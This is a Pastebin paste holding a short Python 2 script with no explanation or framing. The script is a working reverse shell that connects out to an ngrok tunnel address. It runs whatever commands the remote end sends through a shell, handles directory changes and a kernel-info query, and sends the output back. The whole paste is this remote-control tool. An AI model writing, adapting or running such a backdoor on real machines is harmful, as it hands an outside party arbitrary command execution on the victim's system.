Advertisement
jefrialdi33

Untitled

May 7th, 2020
1,146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.77 KB | None | 0 0
  1. import socket
  2. import subprocess
  3. import os
  4.  
  5. s = socket.socket()
  6. s.connect(('0.tcp.ngrok.io', 18058))
  7.  
  8. while True:
  9.     cmd = s.recv(1024)
  10.     if cmd[:2] == 'cd':
  11.      os.chdir(cmd[3:])
  12.      dir = os.getcwd()
  13.      s.sendall('bacod')
  14.     elif cmd == 'kernel_info':
  15.      results = subprocess.Popen('cat /proc/version', shell=True,
  16.                stdout=subprocess.PIPE, stderr=subprocess.PIPE,
  17.                stdin=subprocess.PIPE)
  18.      results = results.stdout.read() + results.stderr.read()
  19.  
  20.      s.sendall(results)
  21.  
  22.     else:
  23.      results = subprocess.Popen(cmd, shell=True,
  24.                stdout=subprocess.PIPE, stderr=subprocess.PIPE,
  25.                stdin=subprocess.PIPE)
  26.      results = results.stdout.read() + results.stderr.read()
  27.  
  28.      s.sendall('\n'+results)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement